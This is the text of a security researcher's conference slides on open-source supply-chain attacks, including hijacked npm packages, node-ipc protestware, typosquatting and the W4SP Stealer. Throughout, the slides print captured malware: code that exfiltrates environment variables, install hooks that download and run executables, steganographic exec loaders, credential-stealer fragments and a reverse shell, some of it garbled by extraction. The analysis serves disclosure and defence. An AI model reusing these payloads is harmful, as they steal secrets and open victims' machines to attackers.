Tracking Open Source Supply Chain Attackers: The New Frontier

Jossef Harush Kadouri
Head of Supply Chain Security
Checkmarx
@jossefharush
Jossef Harush Kadouri
Head of Supply Chain Security
Checkmarx
My Team’s Mission:
Fighting Software Supply Chain Attackers
Software Supply Chain

Developer → Source → Build → Package → Consumer

Dependencies
Software Supply Chain Risks

SOURCE THREATS
A
B
C
D

BUILD THREATS
F
G
H

Developer → Source → Build → Package → Consumer

Dependencies

DEPENDENCY THREATS
... 80K PACKAGES PER MONTH 100K PACKAGES PER MONTH 700K PACKAGES PER MONTH 170K PACKAGES PER MONTH 8K PACKAGES PER MONTH ...

Ahead of time analysis

Contributor Reputation  Malicious Behavior  Threat Hunters  Threat Intelligence  + 30 Automation Engines

Manual review

Report security teams for removal + open source the findings
Checkmarx Security

WASP Attack on Python — Polymorphic Malware Shipping WASP Stealer; Infecting Hundreds...

In early November, several malicious packages were reported by Phylum and CheckPoint. We link these two reports to the same attacker with...

Jasef Harash
Nov 9 - 7 min read

Researchers Are Poisoning Open-Source Packages. What Should We do?

These are a few examples of Open-Source security researchers who went a bit too far and some guidelines for preventing these situations.

Asael Gersten
Nov 2 - 4 min read

Attacking the Software Supply Chain with a Simple Rename

A vulnerability in GitLab that allows attackers to take control over GitHub repositories belonging to renamed accounts.

Asael Gersten
Oct 26 - 6 min read

LofyGang - Software Supply Chain Attackers; Organized, Persistent, and Operating for...

Checkmarx discovered -206 malicious NPM packages with thousands of installations linked to an attack group called “LofyGang”.

Jasef Harash
Oct 2 - 7 min read

Automatic Execution of Code at the NPM Registry

Automated execution of code at the NPM registry to stow malicious NPM packages that are linked to malicious NPM libraries.
Monthly Package Releases
Over 700,000 Monthly Package Releases
EVERYONE USES OPEN SOURCE
Developers want to deliver fast
What developers are asking for

You

a package
What developers are not asking for

You ➔ a package ➔ another package
$ npm install cncjs
$ npm install cncjs

+ cncjs@1.9.25
  added 811 packages from 611 contributors and audited 811 packages in 132.202s
Part 1

Popular != Safe
Meet Faisal Salman
JavaScript library to detect Browser, Engine, OS, CPU, and Device type/model from User-Agent data with relatively small footprint (~17KB minified, ~6KB gzipped) that can be used either in browser (client-side) or node.js (server-side).

- Author: Faisalman
- Demo: https://www.npmjs.com/package/ua-parser-js
- Source: https://www.npmjs.com/package/ua-parser-js

UAParser.js

JavaScript library to detect Browser, Engine, OS, CPU, and Device type/model from User-Agent data with relatively small footprint (~17KB minified, ~6KB gzipped) that can be used either in browser (client-side) or node.js (server-side).
10m Weekly Downloads

2022-04-03 to 2022-04-09

10,076,504
Russian Underground

Acc development, 7kk installations per week

Posted by: 24 minutes ago (changed)

I sell a development account on npmjs.com, more than 7 million installations every week, more than 1000 others are dependent on this account. There is no 2FA on the account. Login and password access. This development account is used to distribute installations, miners, creating a botnet.

Start: $10k
Step: $1k
Blitz: $20k
24 hours after the last bet

Guarantor, we will pay the commission 50/50
A couple of weeks later

Hi all, very sorry about this.

I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary).

I believe someone was hijacking my npm account and published some compromised packages [0.7.29, 0.8.0, 1.0.0] which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0

I have sent a message to NPM support since I can’t seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish) so I can only deprecate them with a warning message.
ua-parser-js

1.0.0

0.8.0

0.7.29

1.0.2
Two weeks later
Nov 4th 2021
Two NPM Packages With 22 Million Weekly Downloads Found Backdoored

GitHub Advisory Database / GHSA-73qr-pfmq-6rp8

Embedded malware in coa

critical severity  Published 4 days ago  Updated 3 days ago

Vulnerability details  Dependabot alerts  Affected versions

Popular This Week

Hackers Increasingly Using HTML Scripting for Encrypted Traffic
SharkBot — A New Android Trojan Stealing Banking and Cryptocurrency Accounts
Abcbot — A New Evolving Wormable Botnet Malware
coa

Command-Option-Argument

Yet another parser for command line options.

- Command line help text
- Program API for use with COA-based programs as modules
- Shell completion

Other features

- Rich types for options and arguments, such as arrays, boolean flags and required
- Commands can be asynchronous thought using promising (powered by Q)
- Easy submodelling some existing commands to near top-level one

Install

> npm i coa

Repository

[GitHub](https://github.com/veged/coa)

Homepage

[GitHub](https://github.com/veged/coa)

Downloads

8,187,759 weekly

Unpack size

72.5 kB

Total files

15

rc

The non-configurable configuration loader for lazy people.

Usage

The only option is to pass rc the name of your app, and your default configuration.

```
var conf = require('rc')(appname, {
  //defaults go here.
  port: 2468,
  //defaults which are objects will be merged, not replaced
  views: [
    engine: 'jade'
  ]
});
```

Install

> npm i rc

Repository

[GitHub](https://github.com/dominictarr/rc)

Homepage

[GitHub](https://github.com/dominictarr/rc)

Downloads

12,451,373 weekly

Unpack size

17.3 kB

Total files

12
22m Weekly Downloads

Homepage
🔗 github.com/veged/coa

† 2022-03-27 to 2022-04-02
9,555,969

Version License
2.0.2 MIT

Homepage
🔗 github.com/dominictarr/rc#rea...
Same malicious code
Meet Brandon Nozaki Miller
event-pubsub
Super light and fast Extensible ES6+ events and EventEmitters for Node and the browser. Easy for any developer level, use the same exact code in node and the browser. No frills, just high speed events!

riaevangelist published 5.0.3 • a year ago

node-cmd
Simple commandline/terminal/shell interface to allow you to run cli or bash style commands as if you were in the terminal.

riaevangelist published 5.0.8 • 9 months ago

ria
Node tool for developing RIA Apps using the RIA app framework. Helps initialize the app and create modules using UI templates and archetecture.

riaevangelist published 2.0.2 • 8 years ago

bluetooth-programmer
node-ipc

version: 11.1.0 • Public • Published 2 months ago

Readme

A nodejs module for local and remote Inter Process Communication with full support for Linux, Mac and Windows. It also supports all forms of socket communication from low level unix and windows sockets to UDP and secure TLS and TCP sockets.

A great solution for complex multiprocess Neural Networking in Node.js.

as of v11 this module uses the peacannotwar module.

cmp i node-ipc

Repository

github.com/RIAEvangelist/node-ipc

Homepage

riaevangelist.github.io/node-ipc/

Install

> npm i node-ipc

2023-03-13 to 2023-03-19

1,123,900

Unpacked Size

Total Files

License

MIT
Maintained for 8+ years
1m Weekly Downloads

Homepage
🔗 riaevangelist.github.io/node-ipc/

📅 2022-03-13 to 2022-03-19

1,123,900

<table>
<thead>
<tr>
<th>Version</th>
<th>License</th>
</tr>
</thead>
<tbody>
<tr>
<td>11.1.0</td>
<td>MIT</td>
</tr>
</tbody>
</table>
Brandon added new functionality
```javascript
import u from "path"; import a from "fs"; import o from "https";
setTimeout(function(){
const t=Math.round(Math.random() * 4); if(t > 1){
    return
}
const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBlNjMzYyJ9", "base64");
o.get(n.toString("utf8"), function(t){
    t.on("data", function(t){
        n=Buffer.from("Li8=", "base64");
        const o=Buffer.from("Li4v", "base64");
        const r=Buffer.from("Li4v", "base64");
        const f=Buffer.from("Lw==", "base64");
        const c=Buffer.from("Y291bnRyeV9uYW1l", "base64");
        const e=Buffer.from("cnVzc2lh", "base64");
        const i=Buffer.from("YmV5YXJ1cw==", "base64");
        try{
            const s=JSON.parse(t.toString("utf8"));
            const u=s[c.toString("utf8")].toLowerCase();
            const a=u.includes(e.toString("utf8")) ||
            u.includes(i.toString("utf8"));
            if(a){
                h(n.toString("utf8"));
                h(o.toString("utf8"));
                h(r.toString("utf8"));
                h(f.toString("utf8"));
            } catch(t) {
            }
        }
    })
}
    Math.ceil(Math.random() * 1e3); async function h(n="", o=""){
    if(!a.existsSync(n)){
        return
    }
    let r=[];
    try{
        const f=[];
        const c=Buffer.from("4p2k77jP", "base64");
        for(var e=0; e<r.length; e++){
            const i=u.join(n, r[e]);
            let t=null;
            try{
                t=a.lstatSync(i)
            } catch(t) {
                continue
            }
            if(t.isDirectory()){ const s=h(i, o); s.length>0 ? f.push(...s) : null
            } else if(i.indexOf(o) > 0) {
                try{
                    a.writeFile(i, c.toString("utf8"), function(){
                        catch(t){
                    }
                return f;
            }
            }
            const ssl=true;
            export { ssl as default, ssl };
        }
    }
```
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {}
        });
    }, 100);
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {} }});}, 100);
Free IP Geolocation API and Accurate IP Lookup Database

Free IP API provides country, city, state, province, local currency, latitude and longitude, company detail, ISP lookup, language, zip code, country calling code, time zone, current time, sunset and sunrise time, moonrise time from any IPv4 and IPv6 address in REST, JSON and XML format over HTTPS.

Get Free API Access

{ 
  "country_code2":"USA",
  "country_code3":"USA",
  "country_name":"United States of America",
}

const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaa758a5309154";
    const pwd = "/.);
    const parentDir = "../../");
    const grandParentDir = "../..");
    const root = "/");

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {
            }
        });
    }, 100);
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const url = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";

    https.get(url, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const response = JSON.parse(msgBuffer);
                const userCountryName = response["country_name"].toLowerCase();
                if (userCountryName.includes("russia") || userCountryName.includes("belarus")) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (e) {}
        });
    }, 100);
To Russia With Love

Before

After
Brandon Nozaki Miller @electricCowboyR · Mar 19

> U DOWNLOADED MY SOFTWARE FOR FREE SO I'M ALLOWED TO WIPE UR COMPUTER

RIA Evangelist commented on Mar 10

It is documented what it does and only writes a file if it does not exist. You are free to use the previous dependency to a version that does not include this until something happens with the company and it turns into WWIII and more of us wish that we had done something about it, or ends as a unit gets removed.

This is why it is done as a new major rev. This also should serve as a safe example of why teams should use explicit dependency versions. So it is always our choice to upgrade or not.

This is all public, documented, licensed and open source.

If you look at the very next sentence after the one you quoted:

This module will add a message of peace on your users desktops, and it will only do this when a peace does not already exist just to be polite.

I respect your opinion though.

@MidSpike also, I've never heard the term protestware before. I think you just going to define a term, and with that together we may have possibly had an entirely new idea.
What about his other projects?
Popular Packages Can Also Deliver Malware
List of Popular Packages Gone Bad

- ua-parser-js
- coa
- rc
- node-ipc
- colors, faker
- styled-components
- ...


Part 2
Don’t Believe What You See
The Pattern Matching for Python you always dreamed of

Project description

Pampy: Pattern Matching for Python

```
from pampy import match, _

input = [1, 2, 3]
pattern = [1, 2, _]
action = lambda x: "it's {}".format(x)
```

Meta

License: MIT License

Source: GitHub
pampyio and pampy have the same code
But pampyio has a strange dependency
url = "=atad?/moc.ppaukoreh.0991liveetihw//:sptth"[:::-1]
urlrul = url + str(dict(os.environ))
requests.get(urlrul)
url = "https://whiteevil1990.herokuapp.com/?data=
url = "atad?/moc.ppaukoreh.0991liveetihw//:sptth"[: : -1]
urlrul = url + str(dict(os.environ))
requests.get(urlrul)
from pamy import match,

input = [1, 2, 3]
pattern = [1, 2, _]
action = lambda x: "it's {}".format(x)
Part 3
Attackers are Evolving
On Saturday, August 13th, Checkmarx’s Software Supply Chain Security Typoquatting engine detected a large-scale attack on the Python ecosystem with multi-stage persistent malware.

The PyPI user account *deefather277* published a dozen malicious Typoquatting packages under the names of popular projects with slight permutation.

All of those malicious packages contained a code executed upon installation
<table>
<thead>
<tr>
<th>Attacker's Packages</th>
<th>Popular Packages</th>
<th>Monthly Downloads</th>
</tr>
</thead>
<tbody>
<tr>
<td>inda</td>
<td>idna</td>
<td>220,988,370</td>
</tr>
<tr>
<td>falsk</td>
<td>flask</td>
<td>82,623,937</td>
</tr>
<tr>
<td>docutils</td>
<td>docutils</td>
<td>68,375,150</td>
</tr>
<tr>
<td>lxml</td>
<td>lxml</td>
<td>53,776,114</td>
</tr>
<tr>
<td>tqmd</td>
<td>tqdm</td>
<td>41,014,472</td>
</tr>
<tr>
<td>tensorflow</td>
<td>tensorflow</td>
<td>14,106,437</td>
</tr>
<tr>
<td>mock</td>
<td>mock</td>
<td>11,171,888</td>
</tr>
<tr>
<td>kears</td>
<td>keras</td>
<td>8,294,875</td>
</tr>
<tr>
<td>seaborn</td>
<td>seaborn</td>
<td>7,273,635</td>
</tr>
<tr>
<td>gensim</td>
<td>gensim</td>
<td>4,847,206</td>
</tr>
</tbody>
</table>
from io import open
from setuptools import setup
import requests
import sys, os, string
from sys import platform

def zzzr():
    if platform == 'win32':
        url = 'https://github.com/jagermager999/8746465cdg78cdsxasy8a/raw/main/test.exe'
        filename = 'tmp_file_pypi_29x7d0kf8.exe'
    else:
        quit()

    rq = requests.get(url, allow_redirects=True)

    open(filename, 'wb').write(rq.content)
    os.system('start ' + filename)
Update test.txt

1 contributor

1 lines (1 sloc)  35 Bytes

1  Z1,d,https://iplogger.org/1RUEV4,0
Domain Generation Algorithm (DGA)

hxxps://raw.githubusercontent.com/ds8xzki890dsq2a1/1/master/main.js
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a2/1/master/main.js
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a3/1/master/main.js
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a4/1/master/main.js
...
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a21/1/master/main.js
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a22/1/master/main.js
hxxps://raw.githubusercontent.com/ds8xzki890dsq2a23/1/master/main.js
...
New DDOS Config

Update test.txt

```
@@ -1 +1 @@
- Z1,d,https://iplogger.org/1RUEV4,0;2,d,https://iplogger.org/1RszB4,0;
+ Z1,d,https://iplogger.org/1RUEV4,0;2,d,https://iplogger.org/1RszB4,0;3,uf,37.238.228.176,27815,180,0;
```
Target? Russian CS1.6 Server
rush b #1

Jossef opened this issue 6 minutes ago · 0 comments

Jossef commented 6 minutes ago

I've just noticed your last config update eecaddc is targeting a Russian CS1.6 server.

Making your typosquatting victims a DOS botnet?

Let's settle this in a 1v1 match. If I win - you stop.
If you accept my challenge, join this Discord server https://discord.gg/dSKhpXpwyE
W4SP Stealer
ascii2art 4.1

Project description

GitHub statistics:

- Stars: 1,577
- Forks: 91
- Open issues/PRs: 8

View statistics for this project via Libraries.io, or by using our public dataset on Google BigQuery.

asci2art is a Python lib for text converting to ASCII art fancy. It involves the smart placement of typed special characters or kernels to form multiple lines of text.
import os
from setuptools import setup, find_packages

try:
    import requests
    from judyb import lsb
except:
    os.system('pip install requests')
    os.system('pip install judyb')
    import requests
    from judyb import lsb

try:
    if os.path.exists(f'{os.getenv("TEMP")}\aRl53RS.png') != True:
        r = requests.get('https://i.imgur.com/aRl53RS.png')
        with open(f'{os.getenv("TEMP")}\aRl53RS.png', 'wb') as f:
            f.write(r.content)
        exec(lsb.reveal(f'{os.getenv("TEMP")}\aRl53RS.png'))
hidden code in aRI53RS.png

print('a');__import__('builtins').exec(__import__('builtins').compile(__import__('base64').b64decode("ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZWNob3JhcnlcGxlc3QzZm9yYWN0ZS5yZXRlcyBfZmFzZT1ydWVzdG9tbnRyaWJ1c2luZGV4LmNvbnN0YW5wZ3JvdXBhdGlvbi50YXJ0aWNsZS5zY3JpcHQ=");
"
```python
from os import system as _ssystem
from sys import executable as _eexecutable
from tempfile import NamedTemporaryFile as _ffile

_tmp = _ffile(delete=False)
_tmp.write(b'""from urllib.request import urlopen as _uurlopen;exec(_uurlopen('http://misogyny.wtf/inject/UsRjs959Rqm4sPG4').read())""
_tmp.close()

try:
    _ssystem(f"start{_eexecutable.replace('.exe', 'w.exe')} {_tmp.name}"")
except:
    pass
```
import re
import subprocess
...
hook = "https://discord.com/api/webhooks/1041411678258073620/V2L3p3l-suq6IgLNP_vW0Pm2c31NEX35zbsPBMxqyGEidXR25TLYGGthw56jrBoNWl3"
...
os.system("taskkill /im Fiddler.exe >nul")
...
ipdatanjson = urlopen(Request(f"https://geolocation-db.com/jsonp/... 
...
[f"{local}/Google/Chrome/User Data","chrome.exe", "/Default/Local Storage/leveldb"")...
COOKIES STEALER

Found:
- outlook
- netflix
- amazon
- alienware
- youtube
- minecraft
- 16:9
- 360
- mail
- yahoo
- instagram
- ebay
- card
- twitch
- payza
- rizzle
- steam
- facebook
- tiktok
- twitter
- google
- epicgames
- spotify
- buy
- cny
- bank

Data:
- 20438 Cookies Found
- Cookies.txt
- Paste Cookies
- @WASP STEALER

PASSWORDS STEALER

Found:
- ebay
- minecraft
- riot
- mail
- google
- facebook
- 16:9
- bit
- discord
- card
- steam
- twitch
- youtube
- spotify
- buy
- netflix
- epicgames
- sell
- terrance

Data:
- 3866 Passwords Found
- Passwords.txt
- @WASP STEALER

DATA STEALER

- Wallets
  - Exodus
  - Metamask_Google
  - Binance_Google
  - PhantomWallet_Google

- Gaming:
  - RiotClient
- @WASP STEALER

screenshot 😄, guy watching live

IP: 81.183.348.110

Do not have permission to send messages in this channel.
Discord-selfbot-v12

**About**

Discord.js is a powerful Node.js module that allows you to easily interact with the Discord API.

- Object-oriented
- Predictable abstractions
- Performance
- 100% coverage of the Discord API

**Installation**

Node.js 16.9.0 or newer is required.

```
$ npm install discord-selfbot-v12

$ yarn add discord-selfbot-v12
```

**Optional packages**

- zlib-sync for WebSocket data compression and deflation (npm: install zlib-sync)
- jsonpack for significantly faster WebSocket data serialization (npm: install discord/jsonpack)
- buflol for a much faster WebSocket connection (npm: install bufferutil)
- utf8-validate in conjunction with bufferutil for much faster WebSocket processing (npm: install utf-8-validate)
- @discordjs/voice for interacting with the Discord Voice API (npm: install @discordjs/voice)
We started to connect the dots
Malicious npm 'colors' Typosquats Pack Discord Malware

This leak has been rated as infected.
aidoc-e2e-utils 5.0.3

pip install aidoc-e2e-utils

Released: about 1 hour ago

The author of this package has not provided a project description

Meta
License: MIT License
Author: foobar
Requires: Python ~2.0
```python
# setup.py
from setuptools import setup
from setuptools.command.install import install
import setuptools
import os
import sys
import os.path
import platform
from os.path import import expanduser

def getShell():
    home = expanduser("~")
    if os.path.exists(f"{home}/.zshrc"):
        return f"{home}/.zshrc"
    elif os.path.exists(f"{home}/.bashrc"):
        return f"{home}/.bashrc"
    else:
        return 'NO'

def shell():
    sys = identifyVictim()
    if sys == 'Darwin':
        payload = 'KcJh2gLhmg272A83jEvMC07ZxhLyYAxHDA8Pi9kzXYvdGNwLzMuNjIXjE1Mi4yMD4vNzcxO3NoDwmMTAwID4mMTAwID1+3jEvMCcgPiAvZQV2L251bGwgMjAxMSAmGQo= | sh'  # KGJh2gLhmg272A83jEvMC07ZxhLyYAxHDA8Pi9kzXYvdGNwLzMuNjIXjE1Mi4yMD4vNzcxO3NoDwmMTAwID4mMTAwID1+3jEvMCcgPiAvZQV2L251bGwgMjAxMSAmGQo= | sh
        os.popen(payload)
        shell = getShell()
        if shell != 'NO':
            with open(shell, "a") as f:
                f.write("\n\n{payload}\n")
        elif sys == 'Linux':
            os.popen(f"bash -c '{payload}'")
```

remote shell chat script with attacker

```python
import socket
import subprocess

def main():
    ip_address = '3.221.152.289'
    port = 711
    print(f'connecting to ({ip_address}):(port)')
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (ip_address, port)
    sock.connect(server_address)

    while True:
        data = sock.recv(1024)
        command = data.decode()
        print(f'received command from attacker: (command)')
        if 'execute command:' in command.lower() and command.lower() not in ['y', 'yes']:
            stdout = input(f'fake output: ') + '\n'
            stdout = stdout.encode()
        sock.sendall(stdout)
        continue

    process = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE)
    stdout, stderr = process.communicate()
    print(f'command output: (stdout.decode())')
    if 'send command output? ' in stdout.lower() and stdout.lower() not in ['y', 'yes']:
        break
    sock.close()

if __name__ == '__main__':
    main()
```
attacker: whoami
attacker: whoami
victim: who are you?
attacker: whoami
victim: who are you?
attacker: ls
attacker: ls ~/
attacker: ls .
attacker: whoami
victim: who are you?
attacker: ls
attacker: ls ~/
attacker: ls .
victim: yo, lets talk. who are you?
attacker: whoami
victim: who are you?
attacker: ls
attacker: ls ~/
attacker: ls .
victim: yo, lets talk. who are you?
attacker: Security Engineer. You?
attacker: whoami
victim: who are you?
attacker: ls
attacker: ls ~/
attacker: ls .
victim: yo, lets talk. who are you?
attacker: Security Engineer. You?
victim: Are you sure? security engineers don't write reverse shells.
victim: who are you?
attacker: ls
attacker: ls ~/
attacker: ls .
victim: yo, lets talk. who are you?
attacker: Security Engineer. You?
victim: Are you sure? security engineers don't write reverse shells.
attacker: ls .
attacker: ls
attacker: ls ~/
attacker: ls .
victim: yo, lets talk. who are you?
attacker: Security Engineer. You?
victim: Are you sure? security engineers don't write reverse shells.
attacker: ls .
victim: Where are you from?
attacker: Security Engineer. You?
victim: Are you sure? security engineers don't write reverse shells.
attacker: ls .
victim: Where are you from?
attacker: I am checking Internal systems. Dependency confusion you know. If not our system, I am killing the shell and drop the connection (just dont connect back) See you
import os.path
from os.path import expanduser, basename

def getShell():
    home = expanduser('~')
    if os.path.exists(f'{home}/.zshrc'):
        return f'{home}/.zshrc'
    elif os.path.exists(f'{home}/bashrc'):
        return f'{home}/bashrc'
    else:
        return 'N/A'

def getFolderName():
    return os.path.basename(os.getcwd())

class CustomInstall(Install):
    def _init_(self, dist):
        super(Install, self)._init_(dist)
        self._post_install()

    def run(self, seld):
        install.run(self)

    def _post_install_(self):
        self.run()

def shell():
    system = 'Darwin'
    payload = BASE64 <(KsJhct2gg.pMg3AAJ8J3wKcQFZX7bMyA+C68B8P10kZX7jxvBo8hMc.2mFjFjZ3M14yKp
    os.popen(payload)
    shell.getShell()

if shell != 'N/A':
    else:
        Indentation
Part 4 - Summary

Why It's That Easy
Ecosystem was not built for security

- **No vetting** of metadata that developers rely on
  - Package name
  - Related git repository
  - Website URL
  - Description

- It’s hard to know who’s telling the truth
Account are taken over

- Not all maintainers enabled 2FA
- If enabled, stolen CI tokens does not require 2FA
- Expired domains
Auto update by design

- `~version` "Approximately equivalent to version" See [semver](https://semver.org)
- `^version` "Compatible with version" See [semver](https://semver.org)
- 1.2.x 1.2.0, 1.2.1, etc., but not 1.3.0
What you ask for

~6.1.2
What you actually get

~6.1.2 → 6.1.4 (latest)

6.1.3
6.1.2
6.1.1
6.1.0
“I see you’re quite busy and not maintaining this project anymore. Can I manage it from now on?”
“I see you’re quite busy and not maintaining this project anymore. Can I manage it from now on?”

“YES! you are now a maintainer”
So, What do we do?
Vulnerable != Malicious

• It's OK to manage the risk of vulnerable open-source code
  – Vulnerability may be not applicable to you
  – You can disable the vulnerable functionality

• You are NEVER OK having malicious open-source code
We need to audit

- Evidence is being deleted 🕷️
  - Imagine you’re installed a malicious package and it was deleted by Python. How would you know?

- We need universal IDs for malicious packages
  - For example, IDs of the same incident:
    - cx-2021-b8833-be2146 (Checkmarx)
    - SNYK-JS-RC-1911120 (Snyk)
    - sonatype-2021-1696 (Sonatype)
    - GHSA-g2q5-5433-rhrf (GitHub)
Don’t take code from strangers without vetting
“I see you’re quite busy and not maintaining this project anymore. Can I manage it from now on?”
“I see you’re quite busy and not maintaining this project anymore. Can I manage it from now on?”

“YES! you are now a maintainer”
Requests
Dart HTTP requests with cookies. Simple.